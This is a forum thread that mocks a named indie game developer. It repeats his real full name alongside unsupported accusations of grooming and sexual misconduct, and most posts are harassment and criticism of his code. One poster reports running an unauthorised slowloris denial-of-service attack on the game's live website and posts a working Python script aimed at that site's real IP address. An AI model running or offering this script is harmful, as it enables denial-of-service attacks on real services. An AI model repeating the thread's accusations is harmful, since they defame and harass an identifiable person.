Cultcow EvaXephon / Yanderedev / Alex Mahan / Alexander Stuart Mahan / cannotgoogleme - Edgy weeaboo coomer with pedo tendencies and 15+ years internet history as a lolcow, now known as a disaster developer behind eternal debug build called "Yandere Simulator", confirmed groomer and dollfucker

[Jewelsmakerguy]

I'm glad you posted those pics, that proves that any casual player can download the game and experience the horror. It might not look so bad for a debug build but remeber that it was always buggy like this. What i love tho, is when Alex tries to defend himself but instead looks even worse.

From one of his reddit posts:



Alex says: "However, replacing it at this point would take around a month's worth of time, and I'd rather not go an entire month with no apparent activity or progress."

How can he say that? It doesn't matter how much time it takes, if it's necessary and he knows how to fix then he should be working on it now right, not complain that it would take too much time right? What he is really trying to say is "Please don't make work on this or else i won't give you an update for a month!" but instead it makes him look like such a bad programmer that he needs AN ENTIRE MONTH to fix this single issue.

But of course- fixing bugs would merely interfere with his fapping time. And lord knows giant tits and violent fetishes are more important than making a workable game.

 

[A Sign]

Yep, Eva hates Azzman, if you didn't see a comment left on his videos he has it on his Yandere Roulette video 9 seconds in.

I wonder if it was azz that devpai was "calling out" from the size mod change.

Eva is just buttmad that Artificial Academy is way better than his fetish game (plus...you know azz is okay with that icky gross yaoi)

 

[DaddyDev]

Alex says: "However, replacing it at this point would take around a month's worth of time, and I'd rather not go an entire month with no apparent activity or progress."

How can he say that? It doesn't matter how much time it takes, if it's necessary and he knows how to fix then he should be working on it now right, not complain that it would take too much time right? What he is really trying to say is "Please don't make work on this or else i won't give you an update for a month!" but instead it makes him look like such a bad programmer that he needs AN ENTIRE MONTH to fix this single issue.

This is exactly why his code is so bad. Words cannot describe how complicated it is to work with... honestly, I think just swapping out the GUI code could take even longer than a month. That's not because swapping out plugins is something that is inherently slow--it could be done in a day or two if the overall game had been planned out in advance. But given how it's in there now, swapping it out would be an absolute nightmare.

He'd honestly be better off scrapping everything he has now, spending a day or two planning out a solid design for his game, and then redoing it from scratch. He could probably get it all done in just a couple months if he put aside the emails and vaseline.

 

[A Sign]

Plus, scrapping and redoing...don't like...all games go through this?? Oh but Eva is such a professional only stupid childish vidya scraps ideas cause fapping is much much more important!

 

[Strelok]

I know he wrote a bunch of stuff to defend his code, but the first two minutes of this video shows how spaghetti his code is.

Is the nurse still fucking T-posing?

Christ.

 

[Megahertz]

This is supposed to be a commercial game, not a hobby so you can practice on how to code...

Exactly what I've been saying. If you want to be halfway decent in completing a large product, you first have to have enough skill to finish smaller shit, again and again. It takes years to be able to do larger projects with consistency. Eva is a fucking beginner who acts like he's well on his way in the "intermediate" zone.

Judging by the time Skullgirls was released, Eva has to have established Mike Z as his hero in 2012 at the earliest. Eva's been actively making shit for 4 years, that's nooooothing in artist time.

Alex says: "However, replacing it at this point would take around a month's worth of time, and I'd rather not go an entire month with no apparent activity or progress."

Itll probably take much more than a month, and even then, the fact that he is unwilling to have anything that even approaches silence for a month is telling.
That's not how everybody else in the industry does their shit. They stop talking for months at a time because they're working from the inside only, not from asspats by fans who will like whatever you put in front of them because they don't make games.

It's like trying to improve yourself as a painter by relying on the feedback you get from your mom.

But we know already (god, that IRC chatlog...) that Eva doesn't want to reach out for critique from skilled people either. Some artist he is.

 

[Arcanine]

Something I just noticed on the yandere simulator website. In the footer of some of the pages it mentions that the site is powered by a "krmax44". Their website is here: https://me.krmax44.de/

Looks like they're a German web developer with a few small projects under their belt. Oh, and they were the people that created the Yandere Simulator website. Didn't Eva say he was the one that worked on it and that he had to take a bunch of time off to do so?

Well, whatever. He's a busy game developer and he can use his patreon money to hire a freelancer web developer to make a website for him. After all, part of why he gets the money is to be able to pay volunteers. It's so good of him to pay the people that spend so much time doing things for him.

Never mind. He went out of his way to find someone that'd do it for free, just like the rest of his volunteers.

 

[A Sign]

It just baffles me...he gets all this money for sitting on his ass...yet wont pay a single penny to ANYONE unless its for anime, games, or hentai/porn. (and unity assets too) yet demands professional grade work that REQUIRES money! fucking A he grow up as a spoiled child who got everything they wanted? since he pays no rent its quite obvious he also never would help around the house, not even doing laundry, basic cleaning, cooking (even microwave dindins) cause like...it takes away from his fap time-- uhh I mean hard worm working on the game

 

[Kartoffel]

Why, if he does feel so overwhelmed by the complexety of his code, doesn't he rewrite his code incrementally?
Choose a short part of your code, then make a new script and copy it there (and by this I mean REWRITE IT IN C#), then insert an call in the old script to the new one and if you feel insecure, comment your old code out (instead of deleting it immediately). Then look if the new stuff works as intended if it does, awesome, you can delete your dead code, if not - hey, that's why you kept the old junk.
Rinse and repeat this progress until your main script is so short that you can give it the C# treatment itself. (The key part is to keep the old code intact until your new code is integrated, expansion first and then contraction.)
Of course while he does that it would be clever to actually use best practices. The thing I find the most bothersome about his code are his cryptic variable names and values. Why does he number everything all the time? Giving stuff names that make it obvious what they mean is one of the simplest yet effective ways to make your code maintainable. And he should try to comment once in a while.
How can you call yourself a professional when your coding style is so antisocial? Every programmer worth his salt should strive for comprehensible code, otherwise his employers/customers/coworkers will have a problem at least as soon as he leaves. A true genius-level programmer could maybe pull off this kind of shit, but a beginner like YandereDev?

All things said, even while his code is a burning pile of shit, he does not have to rewrite it from scratch, as long as it still runs you can save a lot by refactoring every day, bit by bit. He isn't the first programmer who cannot throw away his old code because of "business reasons" (because without his game, there wouldn't be anything worth support anymore) so he should start refactoring immediatly yesterday as long there is still something saveable left.

Or he could open up his code base and allow others access to it. Make it so that he has the control what gets merged with the original codebase or not and let the crowd handle the problem. He already lets people pay him 5k a month for letting others do the majority of work for him, so why not outsource the code cleanup to voluntaries, too? He can still claim that he puts everyhing together and handles the writing and coordination. Kind of like a game director.

 

[LucasSomething]

Yep, Eva hates Azzman, if you didn't see a comment left on his videos he has it on his Yandere Roulette video 9 seconds in.

I wonder if it was azz that devpai was "calling out" from the size mod change.

Eva is just buttmad that Artificial Academy is way better than his fetish game (plus...you know azz is okay with that icky gross yaoi)

According to the comment section, Alex hates him because Azzmade made a video called "LEAKED RIVALS!" videos 1 week before their release, but the funny thing is, i just checked the video and Azzman doesn't show any of the leaks in video, he just mentions it. Alex saying it was "the biggest disaster that possibly could've happened" makes me think he didn't even watch the video. Also, Azzman only talked about the leak 3 weeks after it happened, all of his fans already knew about the leak itself.

In other words, it wasn't even an issue but alex played the victim anyway. On the other side, that kubz scout fella edited the game files to put the first rival in the game and everyone can see she is working fine, but Alex didn't complain to him.

 

[PantiesAreImportant]

In other words, it wasn't even an issue but alex played the victim anyway.

For someone who hates SJWs he sure likes to play the victim card a lot as well.

 

[SomecallmeUnidentified]

Actually Osana is just like Kokona, she's easy to kill, uses the same story, killing her does nothing anyway.
On the topic of school size, the school is waaaaay too big. The only areas that are actually used by anything are:

- The " plaza "
- Clubs
- Computer Lab ( which you can just kill both and then its rendered even more pointless )
- Faculty Room
- Rooftop ( even then you can kill really easily in there )
- Classes ( i forgot to screnshot it, but when i was messing around in the sandbox i killed someone in front of the teacher she didn't even notice )
- Ummm... i think thats it

So this sandbox school has english classrooms, economy rooms, library, Gym ( which doesn't even have collision its just a graphic ) , tons of bathrooms, giant maze of nothing, a big ass empty terrain, random rooms and shit.... all empty that have no use and probably never will.
Great game Eva

 

[zFlarex]

I just thought I'd mention "yanderesimulator.com" is vulnerable to a slowloris attack method and it seems to be hosted on a central IP for other websites, I did a test attack on the website 10 minutes ago and seems the server has been clogged up with dead sockets.

wow

Edit: The server has finally removed all the dead sockets.

Not really sure why Alex bought all these domains.

Spoiler: code

import socket
import threading

socketArray = []

def new_socket():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('107.180.58.31', 80))
    s.send('POST / HTTP/1.1\r\nHost: yanderesimulator.com\r\nContent-Length: 1337\r\nConnection: keep-alive\r\n\r\n')
    socketArray.append(s)
 

while 1:
    threading.Thread(target=new_socket).start()

 

[LucasSomething]

I just thought I'd mention "yanderesimulator.com" is vulnerable to a slowloris attack method and it seems to be hosted on a central IP for other websites, I did a test attack on the website 10 minutes ago and seems the server has been clogged up with dead sockets.

wow

Edit: The server has finally removed all the dead sockets.

Not really sure why Alex bought all these domains.

The last one has to be wrong.

http://www.alexandermahan.com/

Unless Alex has been selling yachts the whole time and we didn't know.

 

[zFlarex]

The last one has to be wrong.

http://www.alexandermahan.com/

Unless Alex has been selling yachts the whole time and we didn't know.

Yeah, it is. I assume it's someone who shares his name.

 

[DespotCTM]

So I was reading the YanSim wikia a bit and well..

Wait what is that?

Almost there

Let's zoom it in a bit

Naw I don't see it

 

[UrbanDecayLover]

Yandere simulator is a self-insert fanfic with "game parts". I wonder if he will try to add a sex scene where you can change the partner's model to look like Alex

edit: made clearer

 

[zFlarex]

Sorry if this is :late:.

https://www.reddit.com/r/yandere_si.../why_yanderedev_hasnt_implemented_the_corpse/

YandereDev is literally ignoring YSAnalysis's advice(he said my code wasn't that good feels bad).

 

[DumbCWCQuote]

Sorry if this is :late:.

https://www.reddit.com/r/yandere_si.../why_yanderedev_hasnt_implemented_the_corpse/

YandereDev is literally ignoring YSAnalysis's advice(he said my code wasn't that good feels bad).

You know I'd be more shocked, impressed or something along those lines if he ever did take sound advice but I think after 244 pages we've seen that that is almost an impossibility. As far as Alex is concerned he's right everyone else is wrong unless he asks for the help in which case he'll whine about the feedback.

 

[A Sign]

According to the comment section, Alex hates him because Azzmade made a video called "LEAKED RIVALS!" videos 1 week before their release, but the funny thing is, i just checked the video and Azzman doesn't show any of the leaks in video, he just mentions it. Alex saying it was "the biggest disaster that possibly could've happened" makes me think he didn't even watch the video. Also, Azzman only talked about the leak 3 weeks after it happened, all of his fans already knew about the leak itself.

In other words, it wasn't even an issue but alex played the victim anyway. On the other side, that kubz scout fella edited the game files to put the first rival in the game and everyone can see she is working fine, but Alex didn't complain to him.

Plus the "leaks" he got pissy over where the fan speculations that ended up being mostly wrong anyway-- We all know Eva was mad about the "Yandere Dev is arrested!"(that he changed anyways) Yandere Roulette video cause he got so many dang dirty emails and likely held a grudge ever since. It's kinda funny in a way, KubScoutz censors the panties, Azzman hasn't (but he dose censor everything sexual and nudity)

Tho I can't help but think Azzman was the target for the mod that happens when you tried to use the resize mod in game, but ether way DANG DIRTY EMAILS.

Edit: JFC he's still obsessed with adding animal torture to the game, what a sicko